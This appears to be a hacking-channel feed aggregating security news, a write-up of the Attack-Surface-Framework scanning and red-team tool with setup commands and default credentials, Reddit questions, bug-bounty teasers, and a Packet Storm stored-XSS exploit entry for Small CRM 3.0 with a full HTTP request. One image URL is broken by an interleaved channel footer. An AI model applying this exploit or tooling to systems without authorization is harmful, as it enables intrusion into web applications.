Dark Reading: Attacks/Breaches
Proposed HTTPA Protocol Uses TEEs to Secure the Web

Intel researchers describe how Trusted Execution Environments can enhance HTTPS and boost Web security.

Kali Linux Tutorials
Attack-Surface-Framework : Tool To Discover External And Internal Network Attack Surface

Attack-Surface-Framework aims to protect organizations acting as an attack surface watchdog, provided an “Object” which might be a: Domain, IP address or CIDR (Internal or External), ASF will discover assets/subdomains, enumerate their ports and services, track deltas and serve as a continuous and flexible attacking and alerting framework leveraging an additional layer of support against 0 day vulnerabilities with publicly available POCs. Motivation

The lack of support and flexibility to automate discovery of dynamic assets and their associated vulnerabilities through continuous scanning or exploitation in a single pane of glass was the driving force in the creation of ASF, the current solutions are restricted by the technology or the program they are built for, we wanted a solution that is scalable as well as utilizes popular Open Source security tools for handling a full vulnerability lifecycle.

ASF is a breed of open source projects leveraging a powerful arsenal of tools wrapped in a single pane of glass on top of a GUI. ASF architectural diagram illustrated below:
https://blogger.googleusercontent.com/img/a/AVvXsEjBfeAPCIAM3y0ZAHuPZcqADupSMH7kPXGmIcy5mGg-InBN7_KA3-MHTFnOBtmxu_BtT_SwGo7wy3IAVyc-tvqpYTYFVQfVmtGWBv88rJnwtUnlNTuT32rHkSxeIo8fAdW30WPuPWBmv9KQR5JQbWAxwM40mGGe1RzIfe62hLkLKKDWOkaS3kL9Hqe7=s1762
Prerequisites

Latest version of Kali Linux (tested on 64 bits) – https://kali.org/get-kali/

16 GB of RAM at least

1 TB HD – XFS filesystem recommended Build & Run

As root

* git clone https://github.com/vmware-labs/attack-surface-framework.git /opt/asf* cd /opt/asf/* Run ./setup.sh* Assign your user, email and yourpass

Once the installation is completed

* cd /opt/asf/frontend/asfgui/* . bin/activate* python3 manage.py runserver 0.0.0.0:8080– We recommend to run it on a screen session to leave server persistent (screen -S asf) Security

ASF is not meant to be publicly exposed, assuming you install it on a cloud provider or even on a local instance, we recommend to access it using port forwarding through SSH, here is an example: ssh -i "key.pem" -L 8080:127.0.0.1:8080 user@yourhost– For ASF GUI ssh -i "key.pem" -L 9045:127.0.0.1:9045 user@yourhost– To access Graylog2 Panel

Then open your browser and go to: http://127.0.0.1:8080– For ASF – user:youruser pass:yourpass (provided in initial setup) https://127.0.0.1:9045– For Graylog2 – user:admin pass:admin #Change it in /graylog/docker-compose.yaml

Graylog2 requires a few steps to start receiving logs from ASF:

Once logged in, go to System/”Content Packs” and import the Content Pack located at /opt/asf/tools/graylog/content_pack_ASF.json, click on the “Upload” button and you should see “Basic” reflected in the “Select Content Packs” section, click on “Basic”, make sure the “ASF” radio button is selected and hit the “Apply content” button, this will create the Global input to parse JSON logs and related extractors.
https://blogger.googleusercontent.com/img/a/AVvXsEgDON92z1tQPZrOipyYRJObDl_hHjD-Ml20hyeQSV_z00QekGr0P3iSicz0boV7VMeJvzREcav9jxJqMNPxUSL220fxPlBl4Fk-HYBXSJqGRclLoYCaqEuMDkVblwCM22YVdb8tw0UPe9figql1EiZInkZCFG0aszVVRSW5hwqeZdTa8pdPARPdCivq=s2800
Now you are ready to receive logs from ASF and setup your streams / alerts / dasboards !

More info @ https://docs.graylog.org/en/4.1/ Documentation

ASF has two scopes:

A) External: For your publicly exposed assets.

B) Internal: Assets in your corporate network.

For the External scope, the flow goes through four basic steps:

A.1 Targets – Here is where you input your targets
https://blogger.googleusercontent.com/img/a/AVvXsEjsapkUSmW[...]

___________________________
@hacking_Attack
@Hacking_Video

MSfuYqjTijMt8HNh2kve8vXU6VlSC2FMDNODX_Xcy5-Nat2hMMrWDknG2UOHbc0nDI5aPKIkEtsAZ0nPa4xLk2wQgkXJIU6fLaneASSwgliENU40SplhhjOeB9vMM51oampiO_fqQ5M508gPM1cSxfDN1oPRrqDJMVLBqKy2-n56B7oIc=s2545
A.2 Discovery – Module that runs the Amass process to discover publicly exposed assets, feel free to create your configuration file to setup your API keys https://github.com/OWASP/Amass/blob/master/examples/config.ini
https://blogger.googleusercontent.com/img/a/AVvXsEjH0EIYE3WoCFDV2-HrojenJbJRbIHL5ph2l__C7YRuo6POvFFuXt7vMSonX0W9Pv2CveROntGERmVeDTaTOicLHthCperC3UH8TX-86n8dLhGLdxaXMxhKsCvMaPqeYmBQN52o8RmW_tgHhrWn5FepePgkFxloz3MdE178eT-lo6sDFHNRe3eYppF_=s2627
A.3 Enumeration – Module that runs the NMAP process to enumerate ports/services and create filters for the Redteam module. Default setup is to look for --top-ports 200but you can suit it to your needs in /opt/asf/tools/nmap/*.sh
https://blogger.googleusercontent.com/img/a/AVvXsEjE9SMS9rPMMPcgfV_m3HwzfN2FsCQxiH4trtDn_AUiQDxigUtcWzzlbZCH3X90A7BKDOkOsgIyjaWRjRm-CNOMC1mbIetOAU5GxW9fOXFikordiT9B9TgCyMSgnuPWoHxoPchah2QUg9B4xMl1tSWNHfiV1yn_4gvlTbvHeVsdIAuSlrnLrcQBzPTZ=s2668
A.4 Redteam – Module that runs submodules located in “/opt/asf/redteam”
https://blogger.googleusercontent.com/img/a/AVvXsEgsaoStGwrYbw0Lbhc3sNekK2AWpRt-xCpWbGu34dURqeuE1tjX882CYPyFImSLq8v3peg-_EeBDmI9MrESLtoWN_BPMB1rZfAdIvPfH-3cjcXBNh-CxqhRaebHVDApKI_LXfOv37ZqeJ20HFw5ob1eejJgnowVvzklwQTWm6nPJ3GOK2bUhCHRir5O=s2679
Note: For the Internal scope, the flow goes through A.1(Targets),A.3(Enumeration) and A.4(Redteam). Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Looking for a ctf team to do some pico ctf, and learn the basics of hacking :)

Hi,

Im a teen looking for a team to pracitce pico ctf from the start. It's best if you have little knowledge, so that we can learn together. If you're interested DM me.

Cheers!

submitted by /u/PaintballAlex
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Email from myself

So this morning I apparently emailed myself with the usual I’ve hacked your accounts and webcam and caught you watching porn. Pay me x amount and it disappears. I’ve tech savvy enough to know it’s a scam (also don’t watch porn, but if he has videos of me being disappointed that I’ve packed morata for the 3rd time on FUT then I’m done for!) But how do they make it appear from your own email address, clearly I haven’t sent it because it’s not in my sent items?

Concerns me how many people would fall for this though. And how much anxiety and stress it can cause people.

submitted by /u/gpollard90
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What is the difference between RFID and NFC?

Just out of curiosity what is the difference between the two? Also another question what do they normally use in security like the little thing they use where they tap it and it unlocks a door if that makes sense?

Thanks in advance! :)

submitted by /u/Idontnohow2spel1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Homemade Antivirus pt. 2

So I'm stuck, I made a post a while back here and I have since been working hard at it. I have ClamAV installed now, but the problems have started there (I'm working on MacOS 11.6 Big Sur for frame of reference). So I tried to run clamd -v and I get a not found error. I followed all the steps from the official ClamAV config but clamd doesn't work. Any idea what could be wrong?

I also don't know what LocalSocket is, and when I "man LocalSocket" it, I get nothing.

Any help is much appreciated!

submitted by /u/thomas_the_kid2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
(Out of Scope)-IDOR allows access to billing data and address of any user.

https://cdn-images-1.medium.com/max/640/1*LIipp9NtX9LkuhCthUknnw.gif
Hey fellow hackers and bug hunters,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Un error en el popular software WinRAR podría permitir a los atacantes piratear su computadora

https://cdn-images-1.medium.com/max/1347/0*V7b2wZP7sfHW4lWS
PUBLICADO EN 21 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
I asked 15 hackers one question and these are their answers.

https://cdn-images-1.medium.com/max/1000/0*HvGnjBf4_6eGg7Ml
If you have ever wondered what is going on inside a hacker’s mind, boy aren’t you in for a ride. As a hacker myself, there are some…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

I Find Reflected Xss in Javatpoint
https://medium.com/@subhadeep78910/i-find-reflected-xss-in-javatpoint-94386fc9a9fa?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello viewers, i hope you all guys are safe & cure in your houseContinue reading on Medium » (https://medium.com/@subhadeep78910/i-find-reflected-xss-in-javatpoint-94386fc9a9fa?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Small CRM 3.0 Cross Site Scripting

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Small CRM version 3.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 887802c5734c26b19d2fa7086eed9eb4

Download
# Exploit Title: Small CRM 3.0 - 'description' Stored Cross-Site Scripting (XSS)
# Date: 20/10/2021
# Exploit Author: Ghuliev
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Tested on: Server: Ubuntu

When a user or admin creates a ticket, we can inject javascript code into
ticket.

POST /crm/create-ticket.php HTTP/1.1
Host: IP
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://IP/crm/create-ticket.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,az;q=0.8,ru;q=0.7

subject=aa&tasktype=Select+your+Task+Type&priority=&description=&send=Send


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video